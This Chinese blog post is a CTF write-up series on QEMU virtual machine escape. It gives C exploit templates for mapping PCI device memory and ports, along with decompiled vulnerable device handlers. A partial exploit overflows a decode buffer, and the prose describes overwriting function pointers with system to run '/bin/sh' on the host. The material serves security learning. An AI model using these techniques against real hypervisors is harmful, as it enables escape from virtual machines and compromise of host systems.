首页
社区
课程
招聘
qemu逃逸系列
发表于: 2022-11-17 22:58 26371

qemu逃逸系列

2022-11-17 22:58
26371

qemu用于模拟设备运行,而qemu逃逸漏洞多发于模拟pci设备中,漏洞形成一般是修改qemu-system代码,所以漏洞存在于qemu-system文件内。而逃逸就是指利用漏洞从qemu-system模拟的这个小系统逃到主机内,从而在linux主机内达到命令执行的目的。

因为使用qemu-system模式启动之后相当于在linux内又运行了一个小型linux,所以存在两个地址转换问题;从用户虚拟地址到用户物理地址,从用户物理地址到qemu虚拟地址。

用户的物理内存实际上是qemu程序mmap出来的,看下面的launsh脚本,-m 1G也就是mmap一块1G的内存

这块内存可以在qemu进程的maps文件下查看,sudo cat /proc/pid/maps


在64位系统内部,虚拟地址由页号和页内偏移组成,我们借用前人的代码来学习一下如何将虚拟地址转换成物理地址。

下面的程序申请了一个buffer,并写入字符串——“Where am I?”,之后打印他的物理地址

将其打包放到qemu系统内,然后进入qemu内部运行该c文件。再用gdb attach到qemu进程,查看mmap的内存。


找到qemu的基地址之后,用字符串的物理地址与基地址相加,即可得到虚拟地址。

PCI 设备都有一个 PCI 配置空间来配置 PCI 设备,其中包含了关于 PCI 设备的特定信息。这些信息一般只需要关注Device ID和Vendor ID即可。



拥有了这些信息即可在qemu系统内部使用lspci命令来找到该设备,从而能够进行交互。交互问题我们后面再细说。

通过kernel提供的sysfs,我们可以直接映射出设备对应的内存,具体方法是打开类似 /sys/devices/pci0000:00/0000:00:04.0/resource0 的文件,并用mmap将其映射到进程的地址空间,就可以对其进行读写了。这里的设备号0000:00:04.0是需要事先在/proc/iomem中看好的。当映射完成后,就可以对这块内存进行读写操作了,内存读写会触发到qemu内设备的mmio处理函数(一般会叫xxxx_mmio_read/xxxx_mmio_write),传入的参数是写入的地址偏移和具体的值。后面会放出一个exp模板。

也可以通过使用/dev/mem文件来映射物理内存。

内存和 I/O 设备共享同一个地址空间。 MMIO 是应用得最为广泛的一种 I/O 方法,它使用相同的地址总线来处理内存和 I/O 设备,I/O 设备的内存和寄存器被映射到与之相关联的地址。当 CPU 访问某个内存地址时,它可能是物理内存,也可以是某个 I/O 设备的内存,用于访问内存的 CPU 指令也可来访问 I/O 设备。每个 I/O 设备监视 CPU 的地址总线,一旦 CPU 访问分配给它的地址,它就做出响应,将数据总线连接到需要访问的设备硬件寄存器。为了容纳 I/O 设备,CPU 必须预留给 I/O 一个地址区域,该地址区域不能给物理内存使用。

在 PMIO 中,内存和 I/O 设备有各自的地址空间。 端口映射 I/O 通常使用一种特殊的 CPU 指令,专门执行 I/O 操作。在 Intel 的微处理器中,使用的指令是 IN 和 OUT。这些指令可以读/写 1,2,4 个字节(例如:outb, outw, outl)到 IO 设备上。I/O 设备有一个与内存不同的地址空间,为了实现地址空间的隔离,要么在 CPU 物理接口上增加一个 I/O 引脚,要么增加一条专用的 I/O 总线。由于 I/O 地址空间与内存地址空间是隔离的,所以有时将 PMIO 称为被隔离的 IO(Isolated I/O)。在linux中可以通过iopl和ioperm这两个系统调用对port的权能进行设置。

通过resource0来实现,需要根据需要来修改函数参数是uint64_t还是uint32_t亦或者是char

mmap参数PROT_READ(1) | PROT_WRITE(2)可读写,MAP_SHARED共享的内存。

为了方便调试,我写了一个解压和压缩脚本,如下

该脚本的作用是将文件系统解压在新建的rootfs文件夹内,再将写好的exp.c放到解压的文件系统的root目录下,将其编译成可执行文件,再重打包回rootfs.cpio,最后删掉rootfs文件夹

进行调试时,先进行打包操作,然后运行launch.sh文件,再起一个终端sudo gdb ./qemu-system-x86_64,使用attach附加到qemu-system进程之上。可以用ps -aux | grep qemu来获得进程号。

在gdb内下断点,就可以愉快的调试了。下面会有介绍

在了解了以上的知识之后,就可以进行实操。

先观察启动脚本launch.sh,先删掉timeout,否则超时就退出了。

由参数"-device pipeline"得我们所主要逆向的部分是在pipeline*,将qemu-system-x86_64放入ida,由于存在符号,所以直接在函数栏里搜pipeline.


漏洞一般存在于pmio_read,pmio_write,mmio_read,mmio_write这些对内存进行读写操作的函数内。


发现根本看不懂,都和opaque这个变量有关,这肯定是结构体,而结构体名字一般和函数名pipeline有相似,我们来转变一下,方法效果如下:



发现一个很重要的结构体贯穿四个读写函数;


逆向结果如下,总体就是从EncPipeLine或DecPipeLine内读取数据,没有越界读,最后return处有个"8",因为
EncPipeLine或DecPipeLine的data变量在偏移位4处,然后v4为结构体处-4。需要静心去逆。

与pipeline_mmio_read函数大同小异,漏洞并不在这里,功能是将val写入EncPipeLine或DecPipeLine内。

addr为0返回idx,为4返回size。

猜测漏洞就在这里了,因为巨长。

addr为0返回idx,addr是4写入size

addr为12时,看到了encode,在pipeline_instance_init函数中发现,好像是base64加密的实现。并且会将加密后的数据放入DecPipeLine结构体内,同理

addr为16时,就是解密,会将解密后的数据放入EncPipeLine结构体的data变量内

以上就是函数基本功能

因为qemu类型的题目大部分都是越界读写的问题,所以我们把注意力着重放在size上。我把注释写到下面的代码内。

使用0xff进行base64编码作为测试数据,这样在解码后得到的溢出字符为0xff,如果后续溢出size,0xff为最大值:

下面测试漏洞会不会覆盖掉size位

看效果

gdb attach之后,将断点下到pipeline_mmio_write,就可以愉快的c了

执行pmio_write(16,0)之前;

执行pmio_write(16,0)之后,看到decPipe[3]的size被修改为了0xff,溢出达到,可以进行越界读写。

既然已经完成了size位的劫持,再通过mmio_read泄露encode函数地址,修改encode指针为system,再pima_write(12,0)即可命令执行

效果如下:

这题是D3CTF-2021,需要使用ubuntu20的环境进行操作,ubuntu18循环报错,ubuntu22没试过。第一题叙述较为详细,后面例题我便只分析漏洞处和整体代码。

该题目也是有mmio和pmio两种访存方式,可以套用上面的exp模板,然后分析代码喽~~~

直接开幕雷击,看到了一堆什么异或之类的,问了下re师傅,是tea加密解密。一开始我是不知道这里是有越界读的,后面会分析道,那些异或是tea decode,我们获得的数据会经过decode,若我们想得到原始值,需要对其进行encode。

和read函数类似,若mmio_write_part为1,则对数据进行加密,若为0,则进行写入

很简单,获得opaque结构体的数据

addr为8时,对seek进行赋值;

addr为0x1c时,执行函数;

addr为4时,将key[]清0;

addr为0时,设置memory_mode.

由d3dev_pmio_write函数得知可为opaque->seek赋值为0x100,blocks有0x800字节,d3dev_mmio_read内的

data = opaque->blocks[opaque->seek + (addr >> 3)],此处的blocks是通过index的方式进行访存,而blocks又是dq的数据(8 bytes),所以seek的0x100可以访问到的内存就是0-0x800,而通过addr进行越界读;

d3dev_mmio_write也是如此,可以越界写,我们就有了任意读写d3devState这个结构体附近的内存的"权利".

在pmio_write里有执行system的机会,将opaque->rand_r覆盖为system,opaque->r_seed覆盖为"/bin/sh"

首先查看launch.sh脚本

设备是rfid,去ida内函数栏搜索rfid,并没有找到,是去掉符号表

这题没有符号表,所以不能在函数栏内搜索,换一个思路去搜索字符串rfid来寻找相应函数

下面的便是rfid_class_init

想要找到mmio或者pmio对应的write/read函数,需要定位到 xxxxxxx_realize函数,例如d3dev这题,定位到了pci_d3dev_realize函数,发现&d3dev_mmio_ops和&d3dev_pmio_ops,跟进去发现有实现方法。而pci_d3dev_realize在d3dev_class_init内引用



由以上分析可得,sub_5713A8函数内的sub_571043为realize函数

点进去off_FE9720,发现了mmio的实现。

比对字符串,然后执行命令,漏洞肯定在另一个函数内了,看到这里应该就有了具体思路,劫持byte_122FFE0为"wwssadadBABA",复写command变量即可

write函数相当于一个菜单,以((addr >> 20) & 0xF)作为菜单选项,将字符传递于byte_122FFE0,当result为6时,将val赋值给command.由于存在移位等问题,exp的mmio_write/mmio_read函数的实现需要变化一下.

本题没有符号表,为调试增加了比较大的困难,但是由于题目比较简单,不调试也可以做出来,为了进行学习,我来尝试一下调试。应该就和普通的pwn题一样调试,用b *$rebase(addr)下断点

测试环境ubuntu20可以,ubnutu18不行

下好了断点,c执行,然后运行exp,便可以愉快的观察程序运行


效果如图:

直接扔ida,有符号✌️,搜索一下只发现了mmio_read/mmio_write,然后恢复一下结构体;

查看一下主要操作的结构体

返回各个结构体内的数据,不存在漏洞

正常对HitbState字段写入,但是有一个函数调用很可疑timer_mod(&opaque->dma_timer, ns / 1000000 + 100);

在hitb_mmio_write内调用了timer_mod,qemu_clock_get_ns获取时钟的纳秒值,timer_mod修改dma_timer的expire_time,这样应该可以触发hitb_dma_timer的调用

函数根据cmd来选择不同分支,cmd最低位必须为1;

漏洞在hitb_dma_timer内的cpu_physical_memory_rw函数,dma_buf[]内的索引可控,就造成可以越界读写;

翻看前面的结构体发现,可以越界读enc地址,进行泄露,再将计算出的system@plt写入enc内,将"cat flag"写入dma.buf

参考链接:

https://xuanxuanblingbling.github.io/ctf/pwn/2022/06/09/qemu/

https://www.anquanke.com/post/id/254906#h3-5

https://www.giantbranch.cn/2019/07/17/VM%20escape%20%E4%B9%8B%20QEMU%20Case%20Study/

https://www.giantbranch.cn/2020/01/02/CTF%20QEMU%20%E8%99%9A%E6%8B%9F%E6%9C%BA%E9%80%83%E9%80%B8%E4%B9%8BHITB-GSEC-2017-babyqemu/

题目下载地址
链接: https://pan.baidu.com/s/1vVjJ6ohHGaZTAVfD68OrlQ 提取码: eeee

 
#!/bin/bash
./qemu-system-x86_64 \
    -m 1G \
       -initrd ./rootfs.cpio \
    -nographic \
    -kernel ./vmlinuz-5.0.5-generic \
    -L pc-bios/ \
    -append "priority=low console=ttyS0" \
    -monitor /dev/null \
    -device pipeline
#!/bin/bash
./qemu-system-x86_64 \
    -m 1G \
       -initrd ./rootfs.cpio \
    -nographic \
    -kernel ./vmlinuz-5.0.5-generic \
    -L pc-bios/ \
    -append "priority=low console=ttyS0" \
    -monitor /dev/null \
    -device pipeline
 
 
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <assert.h>
#include <inttypes.h>
 
#define PAGE_SHIFT  12
#define PAGE_SIZE   (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN     ((1ull << 55) - 1)
 
int fd;
// 获取页内偏移
uint32_t page_offset(uint32_t addr)
{
    // addr & 0xfff
    return addr & ((1 << PAGE_SHIFT) - 1);
}
 
uint64_t gva_to_gfn(void *addr)
{
    uint64_t pme, gfn;
    size_t offset;
 
    printf("pfn_item_offset : %p\n", (uintptr_t)addr >> 9);
    offset = ((uintptr_t)addr >> 9) & ~7;
 
    ////下面是网上其他人的代码,只是为了理解上面的代码
    //一开始除以 0x1000  (getpagesize=0x10004k对齐,而且本来低12位就是页内索引,需要去掉),即除以2**12, 这就获取了页号了,
    //pagemap中一个地址64位,即8字节,也即sizeof(uint64_t),所以有了页号后,我们需要乘以8去找到对应的偏移从而获得对应的物理地址
    //最终  vir/2^12 * 8 = (vir / 2^9) & ~7
    //这跟上面的右移9正好对应,但是为什么要 & ~7 ,因为你  vir >> 12 << 3 , 跟vir >> 9 是有区别的,vir >> 12 << 33位肯定是0,所以通过& ~7将低3位置0
    // int page_size=getpagesize();
    // unsigned long vir_page_idx = vir/page_size;
    // unsigned long pfn_item_offset = vir_page_idx*sizeof(uint64_t);
 
    lseek(fd, offset, SEEK_SET);
    read(fd, &pme, 8);
    // 确保页面存在——page is present.
    if (!(pme & PFN_PRESENT))
        return -1;
    // physical frame number
    gfn = pme & PFN_PFN;
    return gfn;
}
 
uint64_t gva_to_gpa(void *addr)
{
    uint64_t gfn = gva_to_gfn(addr);
    assert(gfn != -1);
    return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}
 
int main()
{
    uint8_t *ptr;
    uint64_t ptr_mem;
 
    fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd < 0) {
        perror("open");
        exit(1);
    }
 
    ptr = malloc(256);
    strcpy(ptr, "Where am I?");
    printf("%s\n", ptr);
    ptr_mem = gva_to_gpa(ptr);
    printf("Your physical address is at 0x%"PRIx64"\n", ptr_mem);
 
    getchar();
    return 0;
}
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <assert.h>
#include <inttypes.h>
 
#define PAGE_SHIFT  12
#define PAGE_SIZE   (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN     ((1ull << 55) - 1)
 
int fd;
// 获取页内偏移
uint32_t page_offset(uint32_t addr)
{
    // addr & 0xfff
    return addr & ((1 << PAGE_SHIFT) - 1);
}
 
uint64_t gva_to_gfn(void *addr)
{
    uint64_t pme, gfn;
    size_t offset;
 
    printf("pfn_item_offset : %p\n", (uintptr_t)addr >> 9);
    offset = ((uintptr_t)addr >> 9) & ~7;
 
    ////下面是网上其他人的代码,只是为了理解上面的代码
    //一开始除以 0x1000  (getpagesize=0x10004k对齐,而且本来低12位就是页内索引,需要去掉),即除以2**12, 这就获取了页号了,
    //pagemap中一个地址64位,即8字节,也即sizeof(uint64_t),所以有了页号后,我们需要乘以8去找到对应的偏移从而获得对应的物理地址
    //最终  vir/2^12 * 8 = (vir / 2^9) & ~7
    //这跟上面的右移9正好对应,但是为什么要 & ~7 ,因为你  vir >> 12 << 3 , 跟vir >> 9 是有区别的,vir >> 12 << 33位肯定是0,所以通过& ~7将低3位置0
    // int page_size=getpagesize();
    // unsigned long vir_page_idx = vir/page_size;
    // unsigned long pfn_item_offset = vir_page_idx*sizeof(uint64_t);
 
    lseek(fd, offset, SEEK_SET);
    read(fd, &pme, 8);
    // 确保页面存在——page is present.
    if (!(pme & PFN_PRESENT))
        return -1;
    // physical frame number
    gfn = pme & PFN_PFN;
    return gfn;
}
 
uint64_t gva_to_gpa(void *addr)
{
    uint64_t gfn = gva_to_gfn(addr);
    assert(gfn != -1);
    return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}
 
int main()
{
    uint8_t *ptr;
    uint64_t ptr_mem;
 
    fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd < 0) {
        perror("open");
        exit(1);
    }
 
    ptr = malloc(256);
    strcpy(ptr, "Where am I?");
    printf("%s\n", ptr);
    ptr_mem = gva_to_gpa(ptr);
    printf("Your physical address is at 0x%"PRIx64"\n", ptr_mem);
 
    getchar();
    return 0;
}
 
 
 
int    mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
void * mmio = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
int    mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
void * mmio = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
void * mmio = mmap(0,0x1000,PROT_READ|PROT_WRITE,MAP_SHARED,open("/dev/mem",2),0xfea00000);
void * mmio = mmap(0,0x1000,PROT_READ|PROT_WRITE,MAP_SHARED,open("/dev/mem",2),0xfea00000);
物理内存可由# cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource得到
物理内存可由# cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource得到
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <assert.h>
 
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>
 
char* mmio_mem;
 
void mmio_write(uint64_t addr, char value) {
    *(char*)(mmio_mem + addr) = value;
}
 
uint64_t mmio_read(uint64_t addr) {
    return *((char *)(mmio_mem + addr));
}
int main()
{
    //init
    int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0",O_RDWR | O_SYNC);
  if (fd == -1)
  {
    perror("mmio_fd open failed");
      exit(-1);
  }
    mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,fd,0);
  if (mmio_mem == MAP_FAILED)
    {
      perror("mmap mmio_mem failed");
            exit(-1);
    }
}
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <assert.h>
 
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>
 
char* mmio_mem;
 
void mmio_write(uint64_t addr, char value) {
    *(char*)(mmio_mem + addr) = value;
}
 
uint64_t mmio_read(uint64_t addr) {
    return *((char *)(mmio_mem + addr));
}
int main()
{
    //init
    int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0",O_RDWR | O_SYNC);
  if (fd == -1)
  {
    perror("mmio_fd open failed");
      exit(-1);
  }
    mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,fd,0);
  if (mmio_mem == MAP_FAILED)
    {
      perror("mmap mmio_mem failed");
            exit(-1);
    }
}
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <assert.h>
 
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>
 
char* mmio_mem;
 
void mmio_write(uint64_t addr, char value) {
    *(char*)(mmio_mem + addr) = value;
}
 
uint64_t mmio_read(uint64_t addr) {
    return *((char *)(mmio_mem + addr));
}
int main()
{
    //init
 
    mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,open("/dev/mem",2),0xfea00000); //0xfea00000是通过cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource来获得
//0x00000000fea00000 0x00000000feafffff 0x0000000000040200
 
  if (mmio_mem == MAP_FAILED)
    {
      perror("mmap mmio_mem failed");
            exit(-1);
    }
}
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <assert.h>
 
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>
 
char* mmio_mem;
 
void mmio_write(uint64_t addr, char value) {
    *(char*)(mmio_mem + addr) = value;
}
 
uint64_t mmio_read(uint64_t addr) {
    return *((char *)(mmio_mem + addr));
}
int main()
{
    //init
 
    mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,open("/dev/mem",2),0xfea00000); //0xfea00000是通过cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource来获得
//0x00000000fea00000 0x00000000feafffff 0x0000000000040200
 
  if (mmio_mem == MAP_FAILED)
    {
      perror("mmap mmio_mem failed");
            exit(-1);
    }
}
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <assert.h>
 
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>
 
char* mmio_mem;
int pmio_base = 0xc040;
void pmio_write(uint32_t addr, uint32_t value)
{
    outl(value, pmio_base + addr);
}
 
uint64_t pmio_read(uint32_t addr)
{
    return inl(pmio_base + addr);
}
int main(int argc, char *argv[])
{
 
    // Open and map I/O memory for the strng device
    if (iopl(3) !=0 ){
        perror("I/O permission is not enough");
                exit(-1);
                }
}
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <assert.h>
 
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>
 
char* mmio_mem;
int pmio_base = 0xc040;
void pmio_write(uint32_t addr, uint32_t value)
{
    outl(value, pmio_base + addr);
}
 
uint64_t pmio_read(uint32_t addr)
{
    return inl(pmio_base + addr);
}
int main(int argc, char *argv[])
{
 
    // Open and map I/O memory for the strng device
    if (iopl(3) !=0 ){
        perror("I/O permission is not enough");
                exit(-1);
                }
}
#!/bin/zsh
mkdir ./rootfs
cd ./rootfs
cpio -idmv < ../rootfs.cpio
 
cp ../exp.c ./root
gcc -o ./root/exp -static ./root/exp.c
 
find . | cpio -o --format=newc > ../rootfs.cpio
 
cd ..
rm -rf ./rootfs
#!/bin/zsh
mkdir ./rootfs
cd ./rootfs
cpio -idmv < ../rootfs.cpio
 
cp ../exp.c ./root
gcc -o ./root/exp -static ./root/exp.c
 
find . | cpio -o --format=newc > ../rootfs.cpio
 
cd ..
rm -rf ./rootfs
 
 
 
#!/bin/bash
./qemu-system-x86_64 \
    -m 1G \
    -initrd ./rootfs.cpio \
    -nographic \
    -kernel ./vmlinuz-5.0.5-generic \
    -L pc-bios/ \
    -append "priority=low console=ttyS0" \
    -monitor /dev/null \
    -device pipeline
#!/bin/bash
./qemu-system-x86_64 \
    -m 1G \
    -initrd ./rootfs.cpio \
    -nographic \
    -kernel ./vmlinuz-5.0.5-generic \
    -L pc-bios/ \
    -append "priority=low console=ttyS0" \
    -monitor /dev/null \
    -device pipeline
 
 
 
 
 
 
 
 
 
 
 
 
 
void __cdecl pipeline_pmio_write(PipeLineState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
  unsigned int sizea; // [rsp+4h] [rbp-4Ch]
  unsigned int sizeb; // [rsp+4h] [rbp-4Ch]
  int pIdx; // [rsp+28h] [rbp-28h]
  int pIdxa; // [rsp+28h] [rbp-28h]
  int pIdxb; // [rsp+28h] [rbp-28h]
  int useSize; // [rsp+2Ch] [rbp-24h]
  int ret_s; // [rsp+34h] [rbp-1Ch]
  int ret_sa; // [rsp+34h] [rbp-1Ch]
  char *iData; // [rsp+40h] [rbp-10h]
 
  if ( size == 4 )
  {
    if ( addr == 4 )                            // addr = 4
    {
      pIdx = opaque->pIdx;
      if ( pIdx <= 7 )
      {
        if ( pIdx > 3 )
        {
          if ( val <= 0x40 )
            *&opaque->encPipe[1].data[0x44 * pIdx + 12] = val;
        }
        else if ( val <= 0x5C )
        {
          opaque->encPipe[pIdx].size = val;
        }
      }
    }
    else if ( addr > 4 )
    {
      if ( addr == 12 )                         // addr = 12
      {
        pIdxa = opaque->pIdx;
        if ( pIdxa <= 7 )
        {
          if ( pIdxa <= 3 )
            pIdxa += 4;   //放入解密结构体内
          sizea = *&opaque->encPipe[1].data[0x44 * pIdxa + 12]; //
          if ( sizea <= 0x40 && (4 * ((sizea + 2) / 3) + 1) <= 0x5C ) //对size进行判断,不存在溢出
          {
            ret_s = opaque->encode(             // encode
                      &opaque->encPipe[1].data[0x44 * pIdxa + 16],// 加密
                      &opaque->mmio.size + 0x60 * pIdxa + 8,
                      sizea);
            if ( ret_s != -1 )
              *(&opaque->mmio.size + 24 * pIdxa + 1) = ret_s;
          }
        }
      }
      else if ( addr == 16 )
      {
        pIdxb = opaque->pIdx;
        if ( pIdxb <= 7 )
        {
          if ( pIdxb > 3 )
            pIdxb -= 4;
          sizeb = opaque->encPipe[pIdxb].size;
          iData = opaque->encPipe[pIdxb].data;
          if ( sizeb <= 0x5C )
          {
            if ( sizeb )
              iData[sizeb] = 0;
            useSize = opaque->strlen(iData);
            if ( 3 * (useSize / 4) + 1 <= 64 // 84858687
            {   //可以看到decode的size参数是与strlen(iData)有关,即使上面的if判断限制了useSize,也可以使useSize是84-87四个数字。
              ret_sa = opaque->decode(iData, opaque->decPipe[pIdxb].data, useSize);// 解密
              if ( ret_sa != -1 )
                opaque->decPipe[pIdxb].size = ret_sa;
            }
          }
        }
      }
    }
    else if ( !addr )
    {
      opaque->pIdx = val;
    }
  }
}
void __cdecl pipeline_pmio_write(PipeLineState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
  unsigned int sizea; // [rsp+4h] [rbp-4Ch]
  unsigned int sizeb; // [rsp+4h] [rbp-4Ch]
  int pIdx; // [rsp+28h] [rbp-28h]
  int pIdxa; // [rsp+28h] [rbp-28h]
  int pIdxb; // [rsp+28h] [rbp-28h]
  int useSize; // [rsp+2Ch] [rbp-24h]
  int ret_s; // [rsp+34h] [rbp-1Ch]
  int ret_sa; // [rsp+34h] [rbp-1Ch]
  char *iData; // [rsp+40h] [rbp-10h]
 
  if ( size == 4 )
  {
    if ( addr == 4 )                            // addr = 4
    {
      pIdx = opaque->pIdx;
      if ( pIdx <= 7 )
      {
        if ( pIdx > 3 )
        {
          if ( val <= 0x40 )
            *&opaque->encPipe[1].data[0x44 * pIdx + 12] = val;
        }
        else if ( val <= 0x5C )
        {
          opaque->encPipe[pIdx].size = val;
        }
      }
    }
    else if ( addr > 4 )
    {
      if ( addr == 12 )                         // addr = 12
      {
        pIdxa = opaque->pIdx;
        if ( pIdxa <= 7 )
        {
          if ( pIdxa <= 3 )
            pIdxa += 4;   //放入解密结构体内
          sizea = *&opaque->encPipe[1].data[0x44 * pIdxa + 12]; //
          if ( sizea <= 0x40 && (4 * ((sizea + 2) / 3) + 1) <= 0x5C ) //对size进行判断,不存在溢出
          {
            ret_s = opaque->encode(             // encode
                      &opaque->encPipe[1].data[0x44 * pIdxa + 16],// 加密
                      &opaque->mmio.size + 0x60 * pIdxa + 8,
                      sizea);
            if ( ret_s != -1 )
              *(&opaque->mmio.size + 24 * pIdxa + 1) = ret_s;
          }
        }
      }
      else if ( addr == 16 )
      {
        pIdxb = opaque->pIdx;
        if ( pIdxb <= 7 )
        {
          if ( pIdxb > 3 )
            pIdxb -= 4;
          sizeb = opaque->encPipe[pIdxb].size;
          iData = opaque->encPipe[pIdxb].data;
          if ( sizeb <= 0x5C )
          {
            if ( sizeb )
              iData[sizeb] = 0;
            useSize = opaque->strlen(iData);
            if ( 3 * (useSize / 4) + 1 <= 64 // 84858687
            {   //可以看到decode的size参数是与strlen(iData)有关,即使上面的if判断限制了useSize,也可以使useSize是84-87四个数字。
              ret_sa = opaque->decode(iData, opaque->decPipe[pIdxb].data, useSize);// 解密
              if ( ret_sa != -1 )
                opaque->decPipe[pIdxb].size = ret_sa;
            }
          }
        }
      }
    }
    else if ( !addr )
    {
      opaque->pIdx = val;
    }
  }
}
>>> from pwn import *
>>> b64e(b'\xff\xff\xff')
'////'
>>> from pwn import *
>>> b64e(b'\xff\xff\xff')
'////'
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>
 
void * mmio;
int port_base = 0xc040;
 
void pmio_write(int port, int val){ outl(val, port_base + port); }
void mmio_write(uint64_t addr, char value){ *(char *)(mmio + addr) = value;}
int  pmio_read(int port) { return inl(port_base + port); }
char mmio_read(uint64_t addr){ return *(char *)(mmio + addr); }
 
void write_io(int idx,int size,int offset, char * data){
    pmio_write(0,idx); pmio_write(4,size);
    for(int i=0;i<strlen(data);i++) { mmio_write(i+offset,data[i]); }
}
 
int main(){
    // init mmio and pmio
    iopl(3);
    int  mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    mmio         = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
 
    // write '/'*87 to block 2
    char data[100];
    memset(data,0,100);
    memset(data,'/',87);
    write_io(2,0x5c,0,data);
 
    // decode时将在encPipe[2]的数据解密后放到decPipe[2],若能溢出,则decPipe[3]的size位为0xff
    pmio_write(16,0);
 
    return 0;
}
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>
 
void * mmio;
int port_base = 0xc040;
 
void pmio_write(int port, int val){ outl(val, port_base + port); }
void mmio_write(uint64_t addr, char value){ *(char *)(mmio + addr) = value;}
int  pmio_read(int port) { return inl(port_base + port); }
char mmio_read(uint64_t addr){ return *(char *)(mmio + addr); }
 
void write_io(int idx,int size,int offset, char * data){
    pmio_write(0,idx); pmio_write(4,size);
    for(int i=0;i<strlen(data);i++) { mmio_write(i+offset,data[i]); }
}
 
int main(){
    // init mmio and pmio
    iopl(3);
    int  mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    mmio         = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
 
    // write '/'*87 to block 2
    char data[100];
    memset(data,0,100);
    memset(data,'/',87);
    write_io(2,0x5c,0,data);
 
    // decode时将在encPipe[2]的数据解密后放到decPipe[2],若能溢出,则decPipe[3]的size位为0xff
    pmio_write(16,0);
 
    return 0;
}
 
 
 
 
 
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <assert.h>
 
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>
 
char* mmio_mem;
int pmio_base = 0xc040;
 
void mmio_write(uint64_t addr, char value) {
    *(char*)(mmio_mem + addr) = value;
}
 
uint64_t mmio_read(uint64_t addr) {
    return *((char *)(mmio_mem + addr));
}
 
void pmio_write(uint32_t addr, uint32_t value)
{
    outl(value, pmio_base + addr);
}
 
uint64_t pmio_read(uint32_t addr)
{
    return inl(pmio_base + addr);
}
 
uint64_t write_io(int idx,int size,int addr,char* data){
    pmio_write(0,idx); //get idx   rsi,rdx
    pmio_write(4,size); // set size    rsi,rdx
    for(int i=0;i<strlen(data);i++)
    {
        mmio_write(addr+i,data[i]);
    }
}
 
uint64_t read_io(int idx,int size,int addr,char* data){
    pmio_write(0,idx);
    for(int i=0;i<size;i++)
    {
        data[i] = mmio_read(addr+i);
    }
}
 
int main()
{
    //init
    int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0",O_RDWR | O_SYNC);
    mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,fd,0);
    iopl(3);
 
    //char dedata[] = "ZWVlZQ==";//"eHVhbnh1YW4=";
    //char data[100] = {0};
    //write_io(2,0x5c,0,dedata); //idx,size,addr,data
    //pmio_write(16,0); //
    //read_io(6,4,0,data);
    //printf("[+] %s\n",data);
    char data[100] = {0};
    memset(data,0,100);
